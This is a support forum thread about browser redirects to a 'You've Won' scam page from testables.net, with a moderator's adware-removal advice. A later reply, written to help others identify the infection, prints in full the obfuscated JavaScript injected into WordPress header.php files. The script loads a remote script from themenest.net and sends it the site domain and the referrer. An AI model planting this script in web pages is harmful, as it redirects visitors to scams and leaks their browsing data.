cancel
Showing results for 
Search instead for 
Did you mean: 

Periodiacally, I am quickly & unexpectedly rediected to a screen that says, "Congratulations, You've Won......"

Highlighted
New User

Periodiacally, I am quickly & unexpectedly rediected to a screen that says, "Congratulations, You've Won......"

I frequently am redirected to a new screen that says, "Congratulations, You've Won ......" It is from Testables.net, which I looked up and it is somehow related to Firefox. I deleted my Firefox, which was my primary browser, and have not had an incident like I mentiones above since. I am back to IE. I like Firefox, but will not reinstall it until I can find out how to get rid of testables.net

Tags (2)
2 REPLIES
Site Moderator

Re: Periodiacally, I am quickly & unexpectedly rediected to a screen that says, "Congratulations, You've Won......"

hello, this sounds like a problem possibly caused by adware on your pc. please go to firefox > addons > extensions & remove any suspicious entries (toolbars, things that you have not installed intentionally, etc). also go to the windows control panel / programs and remove all toolbars or potentially unwanted software from there and do a full scan of your system with the security software that you have in place and/or a different tool like the free version of malwarebytes.

Remove a toolbar that has taken over your Firefox search or home page Troubleshoot Firefox issues caused by malware

New User

Re: Periodiacally, I am quickly & unexpectedly rediected to a screen that says, "Congratulations, You've Won......"

I don't now if you have resolved this testables.net issue but I had it recently.

It attacked about 5 of my sites - mostly Wordpress. This malware is browser independent so not specific to Firefox. This is the exact script that causes it - You can find it usually Just before the close </head> tag in your header.php file.

<script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script>

For Wordpress users download the "Antivirus" Plugin its quite good at sniffing out this particular malware code.

I hope this helps!